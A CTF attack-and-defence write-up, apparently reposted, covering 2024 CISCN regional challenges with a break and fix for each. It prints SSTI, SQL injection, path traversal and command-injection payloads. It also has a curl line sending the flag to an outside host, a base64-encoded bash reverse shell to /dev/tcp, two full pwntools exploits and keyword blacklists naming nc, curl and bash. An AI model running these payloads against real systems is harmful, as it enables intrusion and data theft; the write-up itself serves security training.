2024 CISCN 华东北分区赛-Ahisec

news2024/11/16 19:32:38

Ahisec战队

WEB

python-1

break

源码如下:

# -*- coding: UTF-8 -*-

from flask import Flask, request,render_template,render_template_string


app = Flask(__name__)

def blacklist(name):
    blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args"]
    for keyword in blacklists:
        if keyword in name:
            return True
    return False

@app.route("/", methods=["GET","POST"])
def index():
    if request.method == "POST":
        try:
            name = request.form['name']
            names = blacklist(name)
            if names == True:
                return "Oh,False!"
          
            html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: %s</h1></div></body></html>''' % name
            return render_template_string(html)
        except ValueError:
            pass
    else:
        html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''
        return render_template_string(html)


fenjing一把梭,不过要注意print函数被禁用了,所以可以直接复制fenjing最终的payload,然后搭配curl命令进行文件内容的读取,curl被过滤了,拼接绕过

payload

name={%set x=cycler.next.__globals__.__builtins__.__import__('os')['p''open']('cu'+'rl http://10.101.64.15:8081/`sort /fl*`').read()%}

在这里插入图片描述

fix

防御就很简单了,直接把{%%}禁用

blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]
# -*- coding: UTF-8 -*-

from flask import Flask, request,render_template,render_template_string


app = Flask(__name__)

def blacklist(name):
    blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]
    for keyword in blacklists:
        if keyword in name:
            return True
    return False

@app.route("/", methods=["GET","POST"])
def index():
    if request.method == "POST":
        try:
            name = request.form['name']
            names = blacklist(name)
            if names == True:
                return "Oh,False!"
      
            html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: %s</h1></div></body></html>''' % name
            return render_template_string(html)
        except ValueError:
            pass
    else:
        html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''
        return render_template_string(html)


python-2

break

这题给的附件里的db文件里,使用navicat打开,就能直接看到flag了。非预期

在这里插入图片描述

fix

结合上面的特征,flag在数据库里,很明显存在sql注入,防御试了几遍,发现将这一段注释掉就可以过了,说实话这次的题和去年的没法比

在这里插入图片描述

php-1

fix

d盾扫描发现疑似后门

在这里插入图片描述

将其注释掉就可以防御,这我是真没想到,绷不住。

在这里插入图片描述
这题最后break被我遗忘了,真是曹了

php-2

break

使用seay源代码工具扫描的时候可以发现有很多sql注入相关的漏洞

在这里插入图片描述

分析了一轮下来发现searchlist.php中执行了sql语句,但是写死了

在这里插入图片描述

不过我也是因此找到了这题的漏洞点所在,看下面的代码

在这里插入图片描述

搜索关键字发现同级目录下有一个文件searchmodify.php

在这里插入图片描述

有过滤,并且过滤的很松,只是简单的替换而已,双写绕过就可以或者是大小写绕过

至于在哪里可以调用到这,查看adminuser.php可以发现action参数默认可以跳到userlist,userlist文件和searchmodify.php同级,最后的payload

http://192.64.1.3/adminuser.php?action=searchmodify&id=-1' Union seLEct NULL,CONCAT(0x1,iFNULL(CAST(`name` AS CHAR),0x20),0x1),NULL,NULL FROM cf.flag-- -

/var/www/html/action/adminuser/searchmodify.php存在sql注入漏洞

fix

加转义addslashes函数

在这里插入图片描述

php-3

break

index.php源码

<?php  
error_reporting(E_ALL);

ini_set('display_errors','1');

#important php in path:/var/www/html and php File names have 16 characters

if (isset($_GET['path']))  
{ 
    $Input_data = $_GET['path'];
    $it=new DirectoryIterator($Input_data);
    foreach($it as $f)
    {
        $path=$f->getFilename();
        if(file_exists($path))
        {
            echo "yes,it exists";
        }
        else
        {
            echo "too naive!";
        }
    }
}   
else 
{ 
    highlight_file(__file__); 
} 
?>
import requests

strings = "dqazwsxedcrfvtgb1234567890yhnujmikolp.php"

tmp = ""
for a in range(20):
    for i in strings:
        url = "http://192.64.1.149/?path=glob:///var/www/html/"+tmp+i+'*'
        res = requests.get(url=url).text
        if "yes,it exists" in res:
            tmp += i
            print(tmp)
            break

然后得到页面d88554c739859dfe.php

在这里插入图片描述

访问如下:

<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(  
' ' => '',
'flag' => '',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
    echo "Not very good";
}
else
{
    system($cmd);
}
http://192.64.1.149/d88554c739859dfe.php?cmd=sort%09/f*

fix

flag替換成123

<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(  
' ' => '',
'flag' => '123',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
    echo "Not very good";
}
else
{
    system($cmd);
}

php-4

break

祭出seay源代码审计系统

在这里插入图片描述

漏洞文件:

/var/www/html/admin/inclues/set_page.php

在这里插入图片描述

没有任何的过滤,file参数为空就会指定默认的footer.html页面。所以可以使用…/…/…/…/…/…/…/…/flag.txt去目录穿越直接读取flag.txt

直接目录穿越进行文件读取

http://192.64.1.106/admin/admin.php?act=set_footer&file=../../../../../../../flag.txt

在这里插入图片描述

Fix

加个替换,将…替换成空

在这里插入图片描述

java-1

break

ssrf 绕过本地限制即可

在这里插入图片描述

读取远程恶意js文件

http://192.44.1.112:8080/geturl?url=http://127.0.0.1:8080/cmd?test=http://10.101.64.12/poc.js

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwMS42NC4xMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}");}

在这里插入图片描述

fix

注释加载恶意js的地方即可

在这里插入图片描述

java-2

fix

jdbc修复即可

在这里插入图片描述

PWN

pwn-1

在这里插入图片描述

Fix

  • stack 可执行,

在这里插入图片描述

  • 把 stack 默认权限改成 rw

在这里插入图片描述

在这里插入图片描述

break

格式化字符串漏洞泄露 canary和stack 地址

然后栈溢出 ret2 shellcode

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('192.64.1.194',80)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
brva 0x0014B7
brva 0x0014D7
#continue
'''.format(**locals())

io = start(binary)


def sett(name):
    ru('2: get name\n')
    sl('1')
    ru('->set name')
    s(name)

#gdb.attach(io,gdbscript)
pay = f'%{6+0xb}$p%{6+0xc}$p'
sett(pay)

ru('2: get name\n')
sl('2')

ru('0x')
can = int(r(16),16)
lss('can')
st = int(r(len('0x7ffc4963dec0')),16)
lss('st')
ret = st - 0x60
#pay = asm(shellcraft.read(0,ret,0x400)).ljust(72,b'\x90')
pay  = asm(shellcraft.openat(-100, 'flag',0))
pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
pay  = pay.ljust(72,b'A')
pay += p64(can) * 2
pay += p64(ret)
sett(pay)

#ru('2: get name\n')
#sl('2')

ru('2: get name\n')
sl('3')

#pause()
#pay = b'\x90' * 0x20
#pay += asm(shellcraft.openat(-1, 'flag'))
#pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
#
#sl(pay)


itr()

在这里插入图片描述

pwn-2

在这里插入图片描述

Fix

  • 把这个 4 改成 8

在这里插入图片描述

在这里插入图片描述

break

check flag 会把 flag 放到 heap上, 通过泄露 bss 上的heap 地址,然后 在直接 看heap地址 里的flag 既可以

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('192.64.1.217',80)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
b *0x401E03
b *0x402150
#continue
'''.format(**locals())

io = start(binary)


def ls_flag():
    ru('6: check flag\n')
    sl('1')

def add_flag():
    ru('6: check flag\n')
    sl('2')

def edit_flag(idx,data):
    ru('6: check flag\n')
    sl('3')
    ru(':id')
    sl(str(idx))
    #pause()
    sl(str(data))


#gdb.attach(io,gdbscript)
add_flag()

ru('6: check flag\n')
sl('6')


x = 0x4e67a0

ru('6: check flag\n')
sl('5')
sl(str(x))

ru('flag_get::')
ru(':')
x= uu64(r(4))

lss('x')
flag = x + 3392 - 0x1f
ru('6: check flag\n')
sl('5')
sl(str(flag))

#edit_flag(0x4e6018+184, 0x401E03)
#edit_flag(0x4e6018, 0x401E03)
#while(1):
#    d = io.recv(200)
#    if b'flag{' in d:
#        print(d)
#        pause()
#
#  
#io.close()
itr()

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1859302.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【嵌入式Linux】<总览> 多进程(更新中)

文章目录 前言 一、进程的概念与结构 1. 相关概念 2. 内核区中的进程结构 3. 进程的状态 4. 获取进程ID函数 二、进程创建 1. fork和vfork函数 2. 额外注意点 3. 构建进程链 4.构建进程扇 三、进程终止 1. C程序的启动过程 2. 进程终止方式 四、特殊的进程 1. 僵…

AppInventor2添加超过10个屏幕会怎样?

之前发过一篇AppInventor2官方翻译文档&#xff0c;建议一个项目不要超过10个屏幕&#xff0c;详见&#xff1a; App Inventor 2 构建多屏幕App的最佳实践 App Inventor 可以轻松地向应用程序添加更多屏幕&#xff0c;但最好也不要添加太多屏幕&#xff0c;因为多个屏幕的应用…

U盘数据恢复全攻略:从原理到实践

一、引言&#xff1a;为何U盘数据恢复至关重要 在信息化时代&#xff0c;U盘作为便携存储设备&#xff0c;广泛应用于各个领域。然而&#xff0c;U盘数据的丢失往往给个人和企业带来极大的困扰。数据丢失的原因多种多样&#xff0c;可能是误删除、格式化、文件系统损坏&#x…

探索约束LLM输出JSON的应用

0、 引言 JSON&#xff08;JavaScript Object Notation&#xff09;因其简洁、易读和易于解析的特性&#xff0c;已成为全球使用最广泛的数据交换格式之一。它能够满足各种数据交换需求&#xff0c;特别是在构建人工智能驱动的应用程序时&#xff0c;工程师们经常需要将大型语…

Jenkins教程-8-上下游关联自动化测试任务构建

上一小节小节我们学习了一下Jenkins自动化测试任务发送测试结果邮件的方法&#xff0c;本小节我们讲解一下Jenkins上下游关联自动化测试任务的构建。 下面我们以一个真实的自动化测试场景来讲解Jenkins如何管理上下游关联任务的触发和构建&#xff0c;比如我们有两个jenkin任务…

基础入门篇 | YOLOv10 项目【训练】【验证】【推理】最简单教程 | YOLOv10必看 | 最新更新,直接打印 FPS,mAP50,75,95

文章目录 训练 --train.py推理 --detect.py验证 --val.py不训练,只查看模型结构/参数量/计算量 --test.pyYOLOv10 是基于 YOLOv8 项目的改进版本,目前已经被 YOLOv8 项目合并,所以两个算法使用方法完全一致~ 今天我给大家展示一种非常方便的使用过程,包含【训练】【验证】…

情绪管理篇:让七情自然流露,不过分压抑也不掺杂极端的想法即可来去自如

情绪管理篇&#xff1a; 人有七情&#xff0c;本属常理&#xff0c;该哭的时候哭、该笑的时候笑、该怒的时候怒、该忧的时候忧 学习圣贤之学&#xff0c;并非让我们像木头人一样&#xff0c;枯木死灰&#xff0c;而要让自己不要被七情所缠缚、被七情所乱心&#xff0c;我们的喜…

QT拖放事件之三:自定义拖放操作-利用QDrag来拖动完成数据的传输

1、运行效果 1)Qt::MoveAction 2)Qt::CopyAction 2、源码 #include "Widget.h" #include "ui_Widget.h" #include "common.h"

JDBC的概念 ,核心API的介绍 , 注册驱动介绍

第一章 JDBC 1、JDBC的概念 目标 能够掌握JDBC的概念能够理解JDBC的作用 讲解 客户端操作MySQL数据库的方式 使用第三方客户端来访问MySQL&#xff1a;SQLyog、Navicat 使用MySQL自带的命令行方式 通过Java来访问MySQL数据库&#xff0c;今天要学习的内容 如何通过Java代…

考研数学|《李林880》正确率多少算合格?

李林880题是针对考研数学三的练习题集&#xff0c;覆盖了考研数学三的主要知识点和题型。如果能够熟练掌握这些题目&#xff0c;意味着对考研数学三的知识点有了较为深入的理解和应用能力。 首先&#xff0c;考研数学三的总分是150分&#xff0c;题型包括单选题、填空题和解答…

Day5 —— 电商日志数据分析项目

项目二 _____&#xff08;电商日志数据分析项目&#xff09; 引言需求分析详细思路统计页面浏览量Map阶段Reduce阶段 日志的ETL操作Map阶段Reduce阶段 统计各个省份的浏览量Map阶段Reduce阶段 具体步骤统计页面浏览量日志的ETL操作统计各个省份的浏览量工具类&#xff08;utils…

鸿蒙HarmonyOS服务卡片实战

引言 在现代开发中&#xff0c;服务卡片是不可或缺的一部分&#xff0c;比如音乐&#xff0c;天气类等应用&#xff0c;官网的介绍中写道&#xff1a;卡片让您便捷地预览服务信息&#xff0c;例如查看天气或日历日程等内容。您可将卡片添加到屏幕上&#xff0c;让这类信息触手…

拼多多面试总结

文章目录 一面自我介绍提问算法反问结果 二面提问算法反问结果 主管面主管面试准备算法题其他个人提问准备 提问数据库普通索引和覆盖索引的区别索引是什么&#xff1f;索引怎么加快数据库查询的&#xff1f;索引具体怎么实现的&#xff1f;以B树为例&#xff0c;节点放了什么&…

SOIDWORKS Electrical中统计槽满率的经验技巧

近期有一些客户咨询&#xff0c;为什么在SOLIDWORKS Electrical 3D 中做完3D布线工作&#xff0c;但是在统计线槽槽满率的时候不能正常计算。因此我们总结了以下几点经验。 一、对于SOLIDWORKS Electrical中的计算线槽率的功能&#xff0c;除了所使用的线槽需要满足两个条件&am…

【Unity服务器01】之【AssetBundle上传加载u3d模型】

首先打开一个项目导入一个简单的场景 导入怪物资源&#xff0c; AssetBundle知识点&#xff1a; 1.指定资源的AssetBundle属性标签 &#xff08;1&#xff09;找到AssetBundle属性标签 &#xff08;2&#xff09;A标签 代表&#xff1a;资源目录&#xff08;决定打包之后在哪…

LDO电源模块如何快速设计布局

在现代电子设备遍布的时代&#xff0c;电源模块的设计与应用成为了电子工程领域中的核心议题。而LDO&#xff08;低压差线性稳压器&#xff09;电源模块&#xff0c;因其出色的线性特性和稳定性&#xff0c;在众多应用中备受青睐。为了满足不断增长的电子设备性能需求&#xff…

控价服务商的选择标准

品牌控价旨在对渠道进行有效管控&#xff0c;维护品牌自身价值以及经销商的合法权益&#xff0c;同时也为消费者提供稳定的购物价格。在这一过程中&#xff0c;不但要对线上价格进行把控&#xff0c;线下价格同样需要品牌投入精力去管理。就线上而言&#xff0c;由于链接数量众…

面向对象的进阶---static

1.static 静态变量 package com.itheima.a01staticdemo01;public class Student {private String name;private int age;public static String teacherName;public Student() {}public Student(String name, int age) {this.name name;this.age age;}/*** 获取* return n…

基于单片机的智能台灯控制系统

摘要&#xff1a; 文章设计一款单片机智能台灯控制系统&#xff0c;实现对台灯的手动和自动控制功能&#xff0c;以 STC89C52 单片机作为多功能智能台灯的主控制器&#xff0c;光电检测模块检测坐姿&#xff0c;红外传感器检测人体&#xff0c;光敏电阻检测光强&#xff0c;同…

找不到x3daudio1_7.dll无法运行的原因分析及6种解决方法

当您遇到软件或游戏中提示“x3daudio1_7.dll丢失”的问题时&#xff0c;通常意味着您的系统中缺少这个特定的动态链接库文件。x3daudio1_7.dll 是微软DirectX的一部分&#xff0c;找不到x3daudio1_7.dll会导致软件游戏无法启动运行&#xff0c;下面小编就分享几种靠谱的解决方法…